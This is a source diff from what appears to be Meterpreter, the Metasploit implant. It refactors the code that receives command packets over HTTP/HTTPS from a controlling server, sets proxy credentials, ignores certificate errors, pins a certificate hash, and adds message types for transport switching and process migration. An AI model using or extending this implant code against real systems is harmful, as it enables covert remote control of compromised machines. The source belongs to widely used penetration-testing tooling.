if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
if (ctx->proxy_user)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] transport is SSL, setting up...");
|
||||
dprintf("[PACKET RECEIVE] Setting proxy username to %S", ctx->proxy_user);
|
||||
dprintf("[PACKET RECEIVE] Setting proxy password to %S", ctx->proxy_pass);
|
||||
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC, ctx->proxy_user, ctx->proxy_pass, NULL))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed to set creds %u", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] transport is SSL, setting up...");
|
||||
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTPS] failed to set the security flags on the request");
|
||||
dprintf("[PACKET RECEIVE WINHTTP] failed to set the security flags on the request");
|
||||
}
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] sending the 'RECV' command...");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] sending the 'RECV' command...");
|
||||
// TODO: when the MSF side supports it, update this so that it's UTF8
|
||||
char pRecv[] = "RECV";
|
||||
hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, pRecv, sizeof(pRecv), sizeof(pRecv), 0);
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed WinHttpSendRequest: %d", GetLastError());
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed WinHttpSendRequest: %d %d", GetLastError(), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// TODO: validate the server certificate
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Waiting to see the response ...");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Waiting to see the response ...");
|
||||
if (!WinHttpReceiveResponse(hReq, NULL))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
|
||||
@ -1833,15 +1811,15 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
break;
|
||||
}
|
||||
|
||||
if (remote->pCertHash != NULL)
|
||||
if (ctx->cert_hash != NULL)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] validating certificate hash");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash");
|
||||
PCERT_CONTEXT pCertContext = NULL;
|
||||
DWORD dwCertContextSize = sizeof(pCertContext);
|
||||
|
||||
if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Failed to get the certificate context: %u", GetLastError());
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
@ -1850,18 +1828,18 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
BYTE hash[20];
|
||||
if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Failed to get the certificate hash: %u", GetLastError());
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError());
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
if (memcmp(hash, remote->pCertHash, 20) != 0)
|
||||
if (memcmp(hash, ctx->cert_hash, 20) != 0)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Certificate hash doesn't match, bailing out");
|
||||
dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out");
|
||||
SetLastError(ERROR_WINHTTP_SECURE_INVALID_CERT);
|
||||
break;
|
||||
}
|
||||
@ -1871,17 +1849,17 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
DWORD dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hReq, &dwSize))
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] WinHttpQueryDataAvailable failed: %x", GetLastError());
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] WinHttpQueryDataAvailable failed: %x", GetLastError());
|
||||
}
|
||||
else
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Available data: %u bytes", dwSize);
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Available data: %u bytes", dwSize);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Read the packet length
|
||||
retries = 3;
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Start looping through the receive calls");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Start looping through the receive calls");
|
||||
while (inHeader && retries > 0)
|
||||
{
|
||||
retries--;
|
||||
@ -1892,7 +1870,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Data received: %u bytes", bytesRead);
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead);
|
||||
|
||||
// If the response contains no data, this is fine, it just means the
|
||||
// remote side had nothing to tell us. Indicate this through a
|
||||
@ -1920,13 +1898,13 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader))
|
||||
{
|
||||
dprintf("[PACKET RECEIVE WINHTTPS] headerBytes no valid");
|
||||
dprintf("[PACKET RECEIVE WINHTTP] headerBytes no valid");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the header
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] initialising header");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] initialising header");
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
@ -1943,7 +1921,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
retries = payloadBytesLeft;
|
||||
while (payloadBytesLeft > 0 && retries > 0)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] reading more data from the body...");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] reading more data from the body...");
|
||||
retries--;
|
||||
if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
|
||||
{
|
||||
@ -1954,12 +1932,12 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
|
||||
if (!bytesRead)
|
||||
{
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] no bytes read, bailing out");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] no bytes read, bailing out");
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] bytes read: %u", bytesRead);
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] bytes read: %u", bytesRead);
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
@ -2034,217 +2012,20 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
return res;
|
||||
}
|
||||
|
||||
#else
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinInet.
|
||||
* @brief Windows-specific function to receive a new packet via HTTP.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available in POSIX.
|
||||
*/
|
||||
DWORD packet_receive_http_via_wininet( Remote *remote, Packet **packet )
|
||||
{
|
||||
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
Packet *localPacket = NULL;
|
||||
TlvHeader header;
|
||||
LONG bytesRead;
|
||||
BOOL inHeader = TRUE;
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
DWORD flags;
|
||||
DWORD flen;
|
||||
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
DWORD retries = 5;
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
do
|
||||
{
|
||||
|
||||
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
|
||||
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
}
|
||||
|
||||
dprintf("[PACKET RECEIVE] HttpOpenRequest");
|
||||
hReq = HttpOpenRequestW(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags, 0 );
|
||||
|
||||
if (hReq == NULL) {
|
||||
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
|
||||
InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
|
||||
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
|
||||
InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
|
||||
}
|
||||
|
||||
hRes = HttpSendRequest(hReq, NULL, 0, "RECV", 4 );
|
||||
if (! hRes) {
|
||||
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the packet length
|
||||
retries = 3;
|
||||
while (inHeader && retries > 0)
|
||||
{
|
||||
retries--;
|
||||
if (! InternetReadFile(hReq, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes, &bytesRead)) {
|
||||
dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// If the response contains no data, this is fine, it just means the
|
||||
// remote side had nothing to tell us. Indicate this through a
|
||||
// ERROR_EMPTY response code so we can update the timestamp.
|
||||
if (bytesRead == 0) {
|
||||
SetLastError(ERROR_EMPTY);
|
||||
break;
|
||||
}
|
||||
|
||||
headerBytes += bytesRead;
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader)) {
|
||||
continue;
|
||||
} else {
|
||||
inHeader = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_EMPTY)
|
||||
break;
|
||||
|
||||
if (headerBytes != sizeof(TlvHeader)) {
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the header
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
payloadBytesLeft = payloadLength;
|
||||
|
||||
// Allocate the payload
|
||||
if (!(payload = (PUCHAR)malloc(payloadLength)))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the payload
|
||||
retries = payloadBytesLeft;
|
||||
while (payloadBytesLeft > 0 && retries > 0 )
|
||||
{
|
||||
retries--;
|
||||
if (! InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) {
|
||||
dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!bytesRead) {
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
// Didn't finish?
|
||||
if (payloadBytesLeft)
|
||||
break;
|
||||
|
||||
// Allocate a packet structure
|
||||
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
memset( localPacket, 0, sizeof(Packet) );
|
||||
|
||||
// If the connection has an established cipher and this packet is not
|
||||
// plaintext, decrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = payloadLength;
|
||||
PUCHAR origPayload = payload;
|
||||
|
||||
// Decrypt
|
||||
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
}
|
||||
|
||||
// We no longer need the encrypted payload
|
||||
free(origPayload);
|
||||
}
|
||||
|
||||
localPacket->header.length = header.length;
|
||||
localPacket->header.type = header.type;
|
||||
localPacket->payload = payload;
|
||||
localPacket->payloadLength = payloadLength;
|
||||
|
||||
*packet = localPacket;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
// Cleanup on failure
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (payload)
|
||||
free(payload);
|
||||
if (localPacket)
|
||||
free(localPacket);
|
||||
}
|
||||
|
||||
if (hReq)
|
||||
InternetCloseHandle(hReq);
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return res;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinInet.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is just a proxy which calls \c packet_receive_http_via_wininet
|
||||
* @remark This function is just a proxy which calls \c packet_receive_http_via_winhttp
|
||||
* and doesn't yet have a POSIX implementation.
|
||||
*/
|
||||
DWORD packet_receive_via_http( Remote *remote, Packet **packet )
|
||||
{
|
||||
#ifdef _WIN32
|
||||
#ifdef USE_WINHTTP
|
||||
return packet_receive_http_via_winhttp(remote, packet);
|
||||
#else
|
||||
return packet_receive_http_via_wininet(remote, packet);
|
||||
#endif
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
|
@ -99,29 +99,29 @@ typedef DWORD TlvMetaType;
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///< Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///< Represents a method/function name value.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///< Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///< Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///< Represents a result value.
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
|
||||
|
||||
// Argument basic types
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///< Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///< Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///< Represents a boolean value.
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
|
||||
|
||||
// Extended types
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///< Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///< Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///< Represents a set of flags (unsigned integer).
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
|
||||
|
||||
// Channel types
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///< Represents a channel identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///< Represents a channel type (string).
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///< Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///< Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///< Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///< Represents a channel parent identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer).
|
||||
|
||||
// Channel extended types
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
|
||||
@ -129,28 +129,42 @@ typedef enum
|
||||
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
|
||||
|
||||
// Grouped identifiers
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///< Represents an exception code value (unsigned in).
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///< Represents an exception message value (string).
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in).
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string).
|
||||
|
||||
// Library loading
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///< Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///< Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///< Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///< Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///< Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///< Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///< Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use.
|
||||
TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http).
|
||||
TLV_TYPE_TRANS_COMMS_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout (for http).
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration (for http).
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https).
|
||||
TLV_TYPE_TRANS_PROXY_INFO = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy info string (for http).
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http).
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http).
|
||||
|
||||
// session/machine identification
|
||||
TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier.
|
||||
|
||||
// Cryptography
|
||||
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///< Represents the name of a cipher.
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501), ///< Represents parameters for a cipher.
|
||||
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///! Represents the name of a cipher.
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501), ///! Represents parameters for a cipher.
|
||||
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///< Represents an extension value.
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///< Represents a user value.
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///< Represents a temporary value.
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value.
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value.
|
||||
} TlvType;
|
||||
|
||||
#ifdef _WIN32
|
||||
@ -197,7 +211,7 @@ typedef struct _DECOMPRESSED_BUFFER
|
||||
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
|
||||
Packet *response, LPVOID context, LPCSTR method, DWORD result);
|
||||
|
||||
typedef struct
|
||||
typedef struct _PacketRequestCompletion
|
||||
{
|
||||
LPVOID context;
|
||||
PacketRequestCompletionRoutine routine;
|
||||
@ -232,6 +246,7 @@ LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType typ
|
||||
LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv);
|
||||
|
||||
LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type);
|
||||
LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type);
|
||||
LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type);
|
||||
LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type );
|
||||
LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type);
|
||||
@ -247,15 +262,11 @@ LINKAGE DWORD packet_get_result(Packet *packet);
|
||||
LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
|
||||
LINKAGE DWORD packet_receive(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_receive_via_ssl(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_receive_via_http(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
|
||||
#ifdef _WIN32
|
||||
